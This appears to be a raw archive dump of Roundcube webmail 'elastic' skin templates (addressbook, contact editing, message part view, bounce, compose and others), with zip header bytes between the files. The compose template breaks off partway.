<roundcube:form name="editform" method="post" id="contact-details" class="formcontent">
	<div class="contact-header">
		<fieldset id="contactphoto" class="contact-photo">
			<legend class="voice"><roundcube:label name="contactphoto" /></legend>
			<roundcube:object name="contactphoto" id="contactpic" class="image-upload" placeholder="/images/contactpic.svg" />
			<roundcube:if condition="env:photocol" />
				<roundcube:object name="fileDropArea" id="contactpic" />
			<roundcube:endif />
		</fieldset>
		<roundcube:object name="contactedithead" id="contacthead" form="editform"
			class="propform contact-head" use-labels="true" with-source="true" />
	</div>
	<div id="contacttabs" class="tabbed">
		<roundcube:object name="contacteditform" textareacols="60" form="editform"
			fieldset-class="propform grouped" compact-form="true" short-legend-labels="true" />
	</div>
</form>

<div class="formbuttons">
	<roundcube:button command="save" class="btn btn-primary submit" label="save" />
</div>

<roundcube:object name="photoUploadForm" id="upload-form" mode="smart" />

<roundcube:include file="includes/footer.html" />
PKh�\e
�(�((skins/elastic/templates/addressbook.htmlnu�[���<roundcube:include file="includes/layout.html" />
<roundcube:include file="includes/menu.html" />

<h1 class="voice"><roundcube:label name="addressbook" /></h1>

<!-- sources/groups list -->
<div id="layout-sidebar" class="listbox" role="navigation" aria-labelledby="directorylist-header">
	<div class="header">
		<a class="button icon back-list-button" href="#back"><span class="inner"><roundcube:label name="back" /></span></a>
		<span id="directorylist-header" class="header-title"><roundcube:label name="groups" /></span>
		<roundcube:button name="groupoptions" type="link" title="arialabelabookgroupoptions" label="actions"
			class="button icon sidebar-menu" innerClass="inner" data-popup="groupoptions-menu" />
	</div>
	<div class="scroller">
		<roundcube:object name="directorylist" id="directorylist" class="treelist listing iconized" />
		<h3 class="voice"><roundcube:label name="savedsearches" /></h3>
		<roundcube:object name="savedsearchlist" id="savedsearchlist" class="treelist listing iconized" />
	</div>
</div>

<!-- contacts list -->
<div id="layout-list" class="listbox selected" aria-labelledby="aria-label-contactslist">
	<div class="header">
		<a class="button icon task-menu-button" href="#menu"><span class="inner"><roundcube:label name="menu" /></span></a>
		<a class="button icon back-sidebar-button folders" href="#sidebar"><span class="inner"><roundcube:label name="groups" /></span></a>
		<roundcube:object name="addresslisttitle" label="contacts" tag="span" class="header-title" />
		<div class="toolbar menu" role="toolbar">
			<a href="#select" class="button select disabled" data-popup="listselect-menu" data-toggle-button="list-toggle-button" title="<roundcube:label name="select" />"><span class="inner"><roundcube:label name="select" /></span></a>
			<roundcube:container name="listcontrols" id="listcontrols" />
		</div>
		<a class="button icon toolbar-menu-button" href="#list-menu"><span class="inner"><roundcube:label name="menu" /></span></a>
	</div>
	<roundcube:object name="searchform" id="searchform" wrapper="searchbar menu"
		label="contactsearchform" buttontitle="findcontacts" options="searchmenu" ariatag="h2" />
	<div id="searchmenu" class="hidden searchoptions scroller propform formcontainer" aria-labelledby="aria-label-search-menu">
		<h3 id="aria-label-search-menu" class="voice"><roundcube:label name="searchmod" /></h3>
		<div class="formcontent">
			<ul class="proplist">
				<li><label><input type="checkbox" name="s_mods[]" value="name" /><roundcube:label name="name" /></label></li>
				<li><label><input type="checkbox" name="s_mods[]" value="firstname" /><roundcube:label name="firstname" /></label></li>
				<li><label><input type="checkbox" name="s_mods[]" value="surname" /><roundcube:label name="surname" /></label></li>
				<li><label><input type="checkbox" name="s_mods[]" value="email" /><roundcube:label name="email" /></label></li>
				<li><label><input type="checkbox" name="s_mods[]" value="*" /><roundcube:label name="allfields" /></label></li>
			</ul>
		</div>
		<div class="formbuttons">
			<button type="button" class="btn btn-primary icon search" onclick="return rcmail.command('search')"><roundcube:label name="search" /></button>
		</div>
	</div>
	<div class="scroller">
		<h2 id="aria-label-contactslist" class="voice"><roundcube:label name="contacts" /></h2>
		<roundcube:object name="addresslist" id="contacts-table" class="listing iconized contactlist"
			noheader="true" role="listbox" data-list="contact_list"
			data-label-msg="listempty" data-label-ext="listusebutton" data-create-command="add" />
	</div>
	<roundcube:include file="includes/pagenav.html" />
</div>

<!-- contact details frame -->
<div id="layout-content" role="main">
	<h2 id="aria-label-toolbar" class="voice"><roundcube:label name="arialabeltoolbar" /></h2>
	<div class="header" role="toolbar" aria-labelledby="aria-label-toolbar">
		<a class="button icon back-list-button" href="#back"><span class="inner"><roundcube:label name="back" /></span></a>
		<span class="header-title"></span>
		<!-- toolbar -->
		<div id="addressbooktoolbar" class="toolbar menu">
			<roundcube:button command="add" type="link" class="create disabled" classAct="create"
				label="create" title="newcontact" innerclass="inner" data-fab="true" />
			<roundcube:button command="print" type="link" data-hidden="small"
				class="print disabled" classAct="print"
				label="print" title="printcontact" innerclass="inner" />
			<roundcube:button command="delete" type="link" class="delete disabled" classAct="delete"
				label="delete" title="deletecontact" innerClass="inner" />
			<span class="spacer"></span>
			<roundcube:button command="advanced-search" type="link" class="search disabled" classAct="search"
				label="search" title="advsearch" innerclass="inner" />
			<roundcube:container name="toolbar" id="addressbooktoolbar" />
			<roundcube:button command="import" type="link" class="import disabled" classAct="import"
				label="import" title="importcontacts" innerclass="inner" />
			<span class="dropbutton">
				<roundcube:button command="export" type="link" class="export disabled" classAct="export"
					label="export" title="exportvcards" innerclass="inner" />
				<a href="#export" class="dropdown" data-popup="export-menu">
					<span class="inner"><roundcube:label name="arialabelcontactexportoptions" /></span>
				</a>
			</span>
			<roundcube:button name="contactmenulink" id="contactmenulink" type="link"
				class="more" label="more" title="moreactions"
				data-popup="contact-menu" innerclass="inner" />
		</div>
	</div>
	<h2 id="aria-label-contact-frame" class="voice"><roundcube:label name="contactproperties" /></h2>
	<div class="iframe-wrapper">
		<roundcube:object name="contentframe" id="contact-frame" src="env:blankpage" title="contactproperties"
			aria-labelledby="aria-label-contact-frame" />
	</div>
</div>

<!-- popup menus -->
<div id="export-menu" class="popupmenu">
	<h3 id="aria-label-export-menu" class="voice"><roundcube:label name="arialabelcontactexportoptions" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-export-menu">
		<roundcube:button type="link-menuitem" command="export" label="exportall" prop="sub" class="export all disabled" classAct="export all active" />
		<roundcube:button type="link-menuitem" command="export-selected" label="exportsel" prop="sub" class="export select disabled" classAct="export select active" />
	</ul>
</div>

<div id="groupoptions-menu" class="popupmenu">
	<h3 id="aria-label-groupoptions-menu" class="voice"><roundcube:label name="arialabelabookgroupoptions" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-groupoptions-menu">
		<roundcube:button type="link-menuitem" command="group-create" title="newgroup" label="addgroup" class="create disabled" classAct="create active" />
		<roundcube:button type="link-menuitem" command="group-rename" label="grouprename" class="group rename disabled" classAct="group rename active" />
		<roundcube:button type="link-menuitem" command="group-delete" label="groupdelete" class="group delete disabled" classAct="group delete active" />
		<roundcube:button type="link-menuitem" command="search-create" label="searchsave" class="search disabled" classAct="search active" />
		<roundcube:button type="link-menuitem" command="search-delete" label="searchdelete" class="search delete disabled" classAct="search delete active" />
		<roundcube:container name="groupoptions" id="groupoptionsmenu" />
	</ul>
</div>

<div id="listselect-menu" class="popupmenu">
	<h3 id="aria-label-listselect-menu" class="voice"><roundcube:label name="arialabellistselectmenu" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-listselect-menu">
		<roundcube:button type="link-menuitem" label="selection" class="selection" classAct="selection active"
			name="list-toggle-button" id="list-toggle-button" onclick="UI.toggle_list_selection(this, 'contacts-table')" />
		<roundcube:button command="select-all" type="link-menuitem" prop="page" label="currpage" class="select page disabled" classAct="select page active" />
		<roundcube:button command="select-all" type="link-menuitem" prop="invert" label="invert" class="select invert disabled" classAct="select invert active" />
		<roundcube:button command="select-none" type="link-menuitem" label="none" class="select none disabled" classAct="select none active" />
	</ul>
</div>

<div id="dragcontact-menu" class="popupmenu">
	<h3 id="aria-label-dragcontact-menu" class="voice"><roundcube:label name="arialabeldropactionmenu" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-dragcontact-menu">
		<roundcube:button type="link-menuitem" command="move" onclick="return rcmail.drag_menu_action('move')" label="move" class="disabled" classAct="active" />
		<roundcube:button type="link-menuitem" command="copy" onclick="return rcmail.drag_menu_action('copy')" label="copy" class="disabled" classAct="active" />
	</ul>
</div>

<div id="contact-menu" class="popupmenu">
	<h3 id="aria-label-contact-menu" class="voice"><roundcube:label name="arialabelmorecontactactions" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-contact-menu">
		<roundcube:if condition="env:qrcode" />
		<roundcube:button type="link-menuitem" command="qrcode" label="qrcode" class="qrcode disabled" classAct="qrcode active" />
		<roundcube:endif />
		<roundcube:button type="link-menuitem" command="group-assign-selected" label="groupassign" class="assigngroup disabled" classAct="assigngroup active" innerclass="folder-selector-link"  aria-haspopup="true" />
		<roundcube:button type="link-menuitem" command="group-remove-selected" label="groupremove" class="removegroup disabled" classAct="removegroup active" />
		<roundcube:if condition="env:contact_move_enabled" />
		<roundcube:button type="link-menuitem" command="move" label="moveto" class="move disabled" classAct="move active" innerclass="folder-selector-link" aria-haspopup="true" />
		<roundcube:endif />
		<roundcube:if condition="env:contact_copy_enabled" />
		<roundcube:button type="link-menuitem" command="copy" label="copyto" class="copy disabled" classAct="copy active" innerclass="folder-selector-link" aria-haspopup="true" />
		<roundcube:endif />
		<roundcube:container name="contactmenu" id="contact-menu" />
	</ul>
</div>

<roundcube:include file="includes/footer.html" />
PKh�\ԁ�LL(skins/elastic/templates/messagepart.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:var name="env:filename" /></h1>

<div id="layout-content" class="selected">
	<h2 id="aria-label-toolbar" class="voice"><roundcube:label name="arialabeltoolbar" /></h2>
	<div class="header" role="toolbar" aria-labelledby="aria-label-toolbar">
		<span class="header-title constant"><roundcube:var name="env:filename" /></span>
		<div id="messagetoolbar" class="toolbar menu">
			<roundcube:button type="link" name="info" label="properties" title="properties"
				class="info" innerclass="inner" onclick="UI.props_dialog()" />
			<roundcube:button command="download" type="link" label="download" title="download"
				class="download disabled" classAct="download" innerclass="inner" />
			<roundcube:button command="print" type="link" label="print" title="print"
				class="print disabled" classAct="print" innerclass="inner" data-hidden="small" />
			<roundcube:container name="toolbar" id="messagetoolbar" />
			<roundcube:if condition="env:is_message" />
				<span class="spacer"></span>
				<roundcube:button command="reply" type="link" class="reply disabled" classAct="reply"
					label="reply" title="replytomessage" innerclass="inner" />
				<span class="dropbutton">
					<roundcube:button command="reply-all" type="link" class="reply-all disabled" classAct="reply-all"
						label="replyall" title="replytoallmessage" innerclass="inner" />
					<a href="#reply-all" id="replyallmenulink" class="dropdown" data-popup="replyall-menu" tabindex="0">
						<span class="inner"><roundcube:label name="arialabelreplyalloptions" /></span>
					</a>
				</span>
				<span class="dropbutton">
					<roundcube:button command="forward" type="link" class="forward disabled" classAct="forward"
						label="forward" title="forwardmessage" innerclass="inner" />
					<a href="#forward" id="forwardmenulink" class="dropdown" data-popup="forward-menu" tabindex="0">
						<span class="inner"><roundcube:label name="arialabelforwardingoptions" /></span>
					</a>
				</span>
				<span class="spacer"></span>
				<roundcube:button name="messagemenulink" id="messagemenulink" type="link"
					class="more" label="more" title="moreactions" data-popup="message-menu"
					innerclass="inner" data-hidden="small" />
			<roundcube:endif />
			<roundcube:if condition="stripos(env:mimetype, 'image/') === 0" />
				<span class="spacer"></span>
				<roundcube:button command="image-scale" type="link" prop="+" data-hidden="small"
					class="zoomin disabled" classAct="zoomin"
					label="zoomin" title="increaseimage" innerclass="inner" />
				<roundcube:button command="image-scale" type="link" prop="-" data-hidden="small"
					class="zoomout disabled" classAct="zoomout"
					label="zoomout" title="decreaseimage" innerclass="inner" />
				<roundcube:button command="image-rotate" type="link" data-hidden="small"
					class="rotate disabled" classAct="rotate"
					label="rotate" title="rotateimage" innerclass="inner" />
			<roundcube:endif />
		</div>
	</div>
	<h2 id="aria-label-messagepart" class="voice"><roundcube:label name="arialabelattachmentpreview" /></h2>
	<div class="iframe-wrapper">
		<roundcube:object name="messagePartFrame" id="messagepartframe" title="arialabelattachmentpreview"
			role="main" aria-labelledby="aria-label-messagepart" />
	</div>
<roundcube:if condition="stripos(env:mimetype, 'image/') === 0" />
	<div id="image-tools" class="image-tools" data-hidden="big">
		<h3 id="aria-label-imagetools" class="voice"><roundcube:label name="arialabelimagetools" /></h3>
		<div class="toolbar menu" role="menu" aria-labelledby="aria-label-imagetools">
			<roundcube:button command="image-scale" type="link" prop="+"
				class="zoomin disabled" classAct="zoomin"
				label="zoomin" title="increaseimage" innerclass="inner" />
			<roundcube:button command="image-scale" type="link" prop="-"
				class="zoomout disabled" classAct="zoomout"
				label="zoomout" title="decreaseimage" innerclass="inner" />
			<roundcube:button command="image-rotate" type="link"
				class="rotate disabled" classAct="rotate"
				label="rotate" title="rotateimage" innerclass="inner" />
		</div>
		<a href="#" class="button icon tools" onclick="$(this).attr('title', $(this).data('label-' + ($('#image-tools').toggleClass('open').is('.open') ? 'hide' : 'show')))"
			data-label-show="<roundcube:label name="showtools" />" data-label-hide="<roundcube:label name="hidetools" />" title="<roundcube:label name="showtools" />">
			<span class="inner"><roundcube:label name="showtools" /></span>
		</a>
	</div>
<roundcube:endif />
</div>

<roundcube:if condition="env:is_message" />
	<div id="forward-menu" class="popupmenu">
		<h3 id="aria-label-forwardmenu" class="voice"><roundcube:label name="arialabelforwardingoptions" /></h3>
		<ul class="menu listing" role="menu" aria-labelledby="aria-label-forwardmenu">
			<roundcube:button type="link-menuitem" command="forward-inline" label="forwardinline" prop="sub" classAct="forward inline active" class="forward disabled" />
			<roundcube:button type="link-menuitem" command="forward-attachment" label="forwardattachment" prop="sub" classAct="forward attachment active" class="forward attachment disabled" />
			<roundcube:container name="forwardmenu" id="forward-menu" />
		</ul>
	</div>

	<div id="replyall-menu" class="popupmenu">
		<h3 id="aria-label-replyallmenu" class="voice"><roundcube:label name="arialabelreplyalloptions" /></h3>
		<ul class="menu listing" role="menu" aria-labelledby="aria-label-replyallmenu">
			<roundcube:button type="link-menuitem" command="reply-all" label="replyall" prop="sub" class="reply all disabled" classAct="reply all active" />
			<roundcube:button type="link-menuitem" command="reply-list" label="replylist" prop="sub" class="reply list disabled" classAct="reply list active" />
			<roundcube:container name="replyallmenu" id="replyall-menu" />
		</ul>
	</div>

	<div id="message-menu" class="popupmenu">
		<h3 id="aria-label-messagemenu" class="voice"><roundcube:label name="arialabelmoremessageactions" /></h3>
		<ul class="menu listing" role="menu" aria-labelledby="aria-label-messagemenu">
			<roundcube:button type="link-menuitem" command="edit" prop="new" label="editasnew" class="edit asnew disabled" classAct="edit asnew active" />
			<roundcube:button type="link-menuitem" command="viewsource" label="viewsource" class="source disabled" classAct="source active" />
			<roundcube:container name="messagemenu" id="message-menu" />
		</ul>
	</div>
<roundcube:endif />

<roundcube:add_label name="properties" />
<div id="properties-menu" class="popupmenu" role="dialog" aria-labelledby="aria-label-contentinfo">
	<h3 id="aria-label-contentinfo" class="voice"><roundcube:label name="properties" /></h3>
	<div class="scroller">
		<roundcube:object name="messagePartControls" class="listing props-table" role="contentinfo"
			aria-labelledby="aria-label-contentinfo" />
	</div>
</div>

<roundcube:include file="includes/footer.html" />
PKh�\y%{H��#skins/elastic/templates/bounce.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:label name="bouncemsg" /></h1>

<div class="formcontent">
	<roundcube:object name="bounceObjects" id="bounce-objects" class="mb-3" />
	<roundcube:object name="composeFormHead" role="main" />
	<div id="bounceheaders" role="region" aria-labelledby="aria-label-composeheaders">
		<h2 id="aria-label-composeheaders" class="voice"><roundcube:label name="arialabelmessageheaders" /></h2>
		<div class="compose-headers">
			<div id="compose_from" class="form-group row">
				<label for="_from" class="col-2 col-form-label"><roundcube:label name="from" /></label>
				<div class="col-10">
					<div class="input-group">
						<roundcube:object name="composeHeaders" part="from" id="_from" form="form" tabindex="1" class="form-control" />
						<span class="input-group-append">
							<a href="#identities" onclick="return rcmail.command('switch-task', 'settings/identities')" class="input-group-text icon edit" title="<roundcube:label name="editidents" />" tabindex="1"><span class="inner"><roundcube:label name="editidents" /></span></a>
					</div>
				</div>
			</div>
			<div id="compose_to" class="form-group row">
				<label for="_to" class="col-2 col-form-label"><roundcube:label name="to" /></label>
				<div class="col-10">
					<div class="input-group">
						<roundcube:object name="composeHeaders" part="to" id="_to" form="form" tabindex="1" aria-required="true" data-recipient-input="true" />
						<span class="input-group-append">
							<a href="#add-header" data-popup="headers-menu" class="input-group-text icon add" title="<roundcube:label name="addheader" />" tabindex="1"><span class="inner"><roundcube:label name="addheader" /></span></a>
						</span>
					</div>
				</div>
			</div>
			<div id="compose_cc" class="hidden form-group row">
				<label for="_cc" class="col-2 col-form-label"><roundcube:label name="cc" /></label>
				<div class="col-10">
					<div class="input-group">
						<roundcube:object name="composeHeaders" part="cc" id="_cc" form="form" tabindex="1" data-recipient-input="true" />
						<span class="input-group-append">
							<a href="#delete" onclick="UI.header_reset('_cc')" class="input-group-text icon delete" title="<roundcube:label name='delete' />" tabindex="1"><span class="inner"><roundcube:label name="delete" /></span></a>
						</span>
					</div>
				</div>
			</div>
			<div id="compose_bcc" class="hidden form-group row">
				<label for="_bcc" class="col-2 col-form-label"><roundcube:label name="bcc" /></label>
				<div class="col-10">
					<div class="input-group">
						<roundcube:object name="composeHeaders" part="bcc" id="_bcc" form="form" tabindex="1" data-recipient-input="true" />
						<span class="input-group-append">
							<a href="#delete" onclick="UI.header_reset('_bcc')" class="input-group-text icon delete" title="<roundcube:label name='delete' />" tabindex="1"><span class="inner"><roundcube:label name="delete" /></span></a>
						</span>
					</div>
				</div>
			</div>
		</div>
		<roundcube:if condition="!config:no_save_sent_messages" />
		<div class="form-group row">
			<label for="compose-store-target" class="col-form-label col-6"><roundcube:label name="savesentmessagein" /></label>
			<div class="col-6">
				<roundcube:object name="storetarget" id="compose-store-target" noform="true" tabindex="2" class="form-control" />
			</div>
		</div>
		<roundcube:endif />
	</form>
</div>

<div id="headers-menu" class="popupmenu" data-popup-init="headersmenu">
	<h3 id="aria-label-headersmenu" class="voice"><roundcube:label name="arialabelheadersmenu" /></h3>
	<ul class="menu listing" role="menu" aria-labelledby="aria-label-headersmenu">
		<li role="menuitem"><a data-target="cc" href="#" role="button" tabindex="-1" class="recipient active"><roundcube:label name="cc" /></a></li>
		<li role="menuitem"><a data-target="bcc" href="#" role="button" tabindex="-1" class="recipient active"><roundcube:label name="bcc" /></a></li>
	</ul>
</div>

<roundcube:include file="includes/footer.html" />
PKh�\}���[[*skins/elastic/templates/contactsearch.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:label name="addressbook" /> : <roundcube:label name="advsearch" /></h1>

<div class="formcontent">
	<roundcube:object name="searchform" id="advsearchform" class="tabbed propform" short-legend-labels="true" />
</div>

<roundcube:include file="includes/footer.html" />
PKh�\������#skins/elastic/templates/dialog.htmlnu�[���<roundcube:include file="includes/layout.html" />

<div class="frame-content <roundcube:var name="env:dialog_class" />">
	<roundcube:object name="dialogcontent" />
</div>

<roundcube:include file="includes/footer.html" />
PKh�\�P�D��"skins/elastic/templates/error.htmlnu�[���<roundcube:include file="includes/layout.html" />

<roundcube:if condition="!env:framed && !env:extwin" />
	<roundcube:include file="includes/menu.html" />
	<div id="layout-content" class="selected" role="main">
		<div class="header">
			<a class="button icon task-menu-button" href="#menu"><span class="inner"><roundcube:label name="menu" /></span></a>
			<span class="header-title"></span>
		</div>
		<div class="frame-content scroller">
<roundcube:else />
	<div id="layout-content" class="selected" role="main">
		<div class="frame-content scroller">
<roundcube:endif />

$__page_content

		</div>
	</div>

<roundcube:include file="includes/footer.html" />
PKh�\�ҩD�D$skins/elastic/templates/compose.htmlnu�[���<roundcube:include file="includes/layout.html" />
<roundcube:include file="includes/menu.html" condition="!env:extwin && !env:framed" />
<roundcube:add_label name="recipientsadded" />
<roundcube:add_label name="nocontactselected" />
<roundcube:add_label name="recipient" />
<roundcube:add_label name="insert" />
<roundcube:add_label name="insertcontact" />
<roundcube:add_label name="recipientedit" />

<h1 class="voice"><roundcube:label name="compose" /></h1>

<!-- compose options and attachments list -->
<div id="layout-sidebar" class="listbox sidebar-right">
	<div class="header">
		<a class="button icon back-content-button" href="#content" data-hidden="big"><span class="inner"><roundcube:label name="back" /></span></a>
		<span class="header-title all-sizes"><roundcube:label name="optionsandattachments" /></span>
	</div>
	<div class="scroller">
		<!-- attachments -->
		<div id="compose-attachments" class="file-upload" role="region" aria-labelledby="aria-label-compose-attachments">
			<h2 id="aria-label-compose-attachments" class="voice"><roundcube:label name="attachments" /></h2>
			<div class="upload-form">
				<roundcube:object name="composeAttachmentForm" mode="hint" />
				<button type="button" class="btn btn-secondary attach" tabindex="2" onclick="rcmail.upload_input('uploadform')"><roundcube:label name="addattachment" /></button>
			</div>
			<roundcube:object name="composeAttachmentList" id="attachment-list" class="attachmentslist" tabindex="2" />
			<roundcube:object name="fileDropArea" id="compose-attachments" />
		</div>
		<!-- compose options -->
		<div id="compose-options" class="formcontent" role="region" aria-labelledby="aria-label-composeoptions">
			<h2 id="aria-label-composeoptions" class="voice"><roundcube:label name="arialabelcomposeoptions" /></h2>
			<roundcube:container name="composeoptions" id="compose-options" />
			<roundcube:if condition="!in_array('mdn_default', (array)config:dont_override)" />
			<div class="form-group row form-check">
				<label for="compose-mdn" class="col-form-label col-6"><roundcube:label name="returnreceipt" /></label>
				<div class="col-6 form-check">
					<roundcube:object name="mdnCheckBox" id="compose-mdn" noform="true" tabindex="2" class="form-check-input" />
				</div>
			</div>
			<roundcube:endif />
			<roundcube:if condition="!in_array('dsn_default', (array)config:dont_override)" />
			<div class="form-group row form-check">
				<label for="compose-dsn" class="col-form-label col-6"><roundcube:label name="dsn" /></label>
				<div class="col-6 form-check">
					<roundcube:object name="dsnCheckBox" id="compose-dsn" noform="true" tabindex="2" class="form-check-input" />
				</div>
			</div>
			<roundcube:endif />
			<div class="form-group row form-check">
				<label for="compose-keep-formatting" class="col-form-label col-6"><roundcube:label name="keepformatting" /></label>
				<div class="col-6 form-check">
					<roundcube:object name="keepFormattingCheckBox" id="compose-keep-formatting" noform="true" tabindex="2" class="form-check-input" />
				</div>
			</div>
			<div class="form-group row">
				<label for="compose-priority" class="col-form-label col-6"><roundcube:label name="priority" /></label>
				<div class="col-6">
					<roundcube:object name="prioritySelector" id="compose-priority" noform="true" tabindex="2" class="custom-select" />
				</div>
			</div>
			<roundcube:if condition="!config:no_save_sent_messages" />
			<div class="form-group row">
				<label for="compose-store-target" class="col-form-label col-6"><roundcube:label name="savesentmessagein" /></label>
				<div class="col-6">
					<roundcube:object name="storetarget" id="compose-store-target" noform="true" tabindex="2" class="custom-select" />
				</div>
			</div>
			<roundcube:endif />
		</div>
	</div>
</div>

<div id="layout-content" class="listbox selected" role="main">
	<h2 id="aria-label-toolbar" class="voice"><roundcube:label name="arialabeltoolbar" /></h2>
	<div class="header">
		<a class="button icon task-menu-button" href="#menu"><span class="inner"><roundcube:label name="menu" /></span></a>
		<span class="header-title"><roundcube:label name="compose" /></span>
		<div id="composestatusbar" class="position-absolute"></div>
		<!-- toolbar -->
		<div id="messagetoolbar" class="toolbar menu" role="toolbar" aria-labelledby="aria-label-toolbar">
			<a class="options" href="#options" onclick="UI.show_sidebar()" data-hidden="big">
				<span class="inner"><roundcube:label name="optionsandattachments"></span>
			</a>
			<roundcube:button command="savedraft" type="link" class="save draft disabled" classAct="save draft"
				label="save" title="savemessage" tabindex="2" innerclass="inner" data-content-button="true" />
			<span class="spacer"></span>
			<roundcube:button name="addattachment" type="link" class="attach"
				label="attach" title="addattachment" data-hidden="small"
				onclick="if (!$(this).is('.disabled')) rcmail.upload_input('uploadform')"
				aria-haspopup="true" aria-expanded="false" tabindex="2" innerclass="inner" />
			<roundcube:button command="insert-sig" type="link" class="signature disabled" classAct="signature"
				label="signature" title="insertsignature" tabindex="2" innerclass="inner" />
			<a href="#responses" class="responses" label="responses" title="<roundcube:label name='insertresponse' />" unselectable="on" tabindex="2" data-popup="responses-menu">
				<span class="inner"><roundcube:label name="responses" /></span>
			</a>
			<roundcube:if condition="!empty(env:spell_langs)" />
			<span class="dropbutton">
				<roundcube:button command="spellcheck" type="link" class="spellcheck disabled"
					classAct="spellcheck" classSel="button spellcheck pressed"
					label="spellcheck" title="checkspelling" tabindex="2" innerclass="inner" />
				<a href="#languages" class="dropdown" tabindex="2" data-popup="spell-menu">
					<span class="inner"><roundcube:label name="language" /></span>
				</a>
			</span>
			<roundcube:endif />
			<span class="dropbutton" style="display:none">
				<roundcube:button command="compose-encrypted" type="link" class="encrypt disabled"
					classAct="encrypt" classSel="encrypt selected" innerclass="inner"
					label="encrypt" title="encryptmessagemailvelope" tabindex="2" />
				<a href="#encryption" id="encryption-menu-button" class="dropdown" tabindex="2" data-popup="encryption-menu">
					<span class="inner"><roundcube:label name="encryptmessagemailvelope" /></span>
				</a>
			</span>
			<roundcube:container name="toolbar" id="compose-toolbar" />
		</div>
	</div>
	<div id="compose-content" class="formcontainer content">
		<roundcube:object name="composeFormHead" role="main" class="formcontent scroller" />
		<roundcube:object name="composeObjects" id="compose-objects" class="mb-3" />
		<!-- message headers -->
		<div id="compose-headers" role="region" aria-labelledby="aria-label-composeheaders">
			<h2 id="aria-label-composeheaders" class="voice"><roundcube:label name="arialabelmessageheaders" /></h2>
			<div class="compose-headers">
				<div id="compose_from" class="form-group row">
					<label for="_from" class="col-2 col-form-label"><roundcube:label name="from" /></label>
					<div class="col-10">
						<div class="input-group">
							<roundcube:object name="composeHeaders" part="from" id="_from" form="form" tabindex="1" class="form-control" />
							<span class="input-group-append">
								<a href="#identities" onclick="return rcmail.command('switch-task', 'settings/identities')" class="input-group-text icon edit" title="<roundcube:label name="editidents" />" tabindex="1"><span class="inner"><roundcube:label name="editidents" /></span></a>
							</span>
						</div>
					</div>
				</div>
				<div id="compose_to" class="form-group row">
					<label for="_to" class="col-2 col-form-label"><roundcube:label name="to" /></label>
					<div class="col-10">
						<div class="input-group">
							<roundcube:object name="composeHeaders" part="to" id="_to" form="form" tabindex="1" aria-required="true" data-recipient-input="true" />
							<span class="input-group-append">
								<a href="#add-contact" onclick="UI.recipient_selector('to')" class="input-group-text icon add recipient" title="<roundcube:label name="addcontact" />" tabindex="1"><span class="inner"><roundcube:label name="addcontact" /></span></a>
							</span>
							<span class="input-group-append">
								<a href="#add-header" data-popup="headers-menu" class="input-group-text icon add" title="<roundcube:label name="addheader" />" tabindex="1"><span class="inner"><roundcube:label name="addheader" /></span></a>
							</span>
						</div>
					</div>
				</div>
				<div id="compose_cc" class="hidden form-group row">
					<label for="_cc" class="col-2 col-form-label"><roundcube:label name="cc" /></label>
					<div class="col-10">
						<div class="input-group">
							<roundcube:object name="composeHeaders" part="cc" id="_cc" form="form" tabindex="1" data-recipient-input="true" />
							<span class="input-group-append">
								<a href="#add-contact" onclick="UI.recipient_selector('cc')" class="input-group-text icon add recipient" title="<roundcube:label name="addcontact" />" tabindex="1"><span class="inner"><roundcube:label name="addcontact" /></span></a>
							</span>
							<span class="input-group-append">
								<a href="#delete" onclick="UI.header_reset('_cc')" class="input-group-text icon delete" title="<roundcube:label name='delete' />" tabindex="1"><span class="inner"><roundcube:label name="delete" /></span></a>
							</span>
						</div>
					</div>
				</div>
				<div id="compose_bcc" class="hidden form-group row">
					<label for="_bcc" class="col-2 col-form-label"><roundcube:label name="bcc" /></label>
					<div class="col-10">
						<div class="input-group">
							<roundcube:object name="composeHeaders" part="bcc" id="_bcc" form="form" tabindex="1" data-recipient-input="true" />
							<span class="input-group-append">
								<a href="#add-contact" onclick="UI.recipient_selector('bcc')" class="input-group-text icon add recipient" title="<roundcube:label name="addcontact" />" tabindex="1"><span class="inner"><roundcube:label name="addcontact" /></span></a>
							</span>
							<span class="input-group-append">
								<a href="#delete" onclick="UI.header_reset('_bcc')" class="input-group-text icon delete" title="<roundcube:label name='delete' />" tabindex="1"><span class="inner"><roundcube:label name="delete" /></span></a>
							</span>
						</div>
					</div>
				</div>
				<div id="compose_replyto" class="hidden form-group row">
					<label for="_replyto" class="col-2 col-form-label"><roundcube:label name="replyto" /></label>
					<div class="col-10">
						<div class="input-group">
							<roundcube:object name="composeHeaders" part="replyto" id="_replyto" form="form" tabindex="1" data-recipient-input="true" />
							<span class="input-group-append">
								<a href="#add-contact" onclick="UI.recipient_selector('replyto')" class="input-group-text icon add recipient" title="<roundcube:label name="addcontact" />" tabindex="1"><span class="inner"><roundcube:label name="addcontact" /></span></a>
							</span>
							<span class="input-group-append">
								<a href="#delete" onclick="UI.header_reset('_replyto')" class="input-group-text icon delete" title="<roundcube:label name='delete' />" tabindex="1"><span class="inner"><roundcube:label name="delete" /></span></a>
							</span>
						</div>
					</div>
				</div>
				<div id="compose_followupto" class="hidden form-group row">
					<label for="_followupto" class="col-2 col-form-label"><roundcube:label name="followupto" /></label>
					<div class="col-10">
						<div class="input-group">
							<roundcube:object name="composeHeaders" part="followupto" id="_followupto" form="form" tabindex="1" data-recipient-input="true" />
							<span class="input-group-append">
								<a href="#add-contact" onclick="UI.recipient_selector('followupto')" class="input-group-text icon add recipient" title="<roundcube:label name="addcontact" />" tabindex="1"><span class="inner"><roundcube:label name="addcontact" /></span></a>
							</span>
							<span class="input-group-append">
								<a href="#delete" onclick="UI.header_reset('_followupto')" class="input-group-text icon delete" title="<roundcube:label name='delete' />" tabindex="1"><span class="inner"><roundcube:label name="delete" /></span></a>
							</span>
						</div>
					</div>
				</div>
				<div id="compose_subject" class="form-group row">
					<label for="compose-subject" class="col-2 col-form-label"><roundcube:label name="subject" /></label>
					<div class="col-10">
						<roundcube:object name="composeSubject" id="compose-subject" form="form" tabindex="1" class="form-control" />
					</div>
				</div>
			</div>
		</div>
		<!-- message compose body -->
		<div id="composebodycontainer">
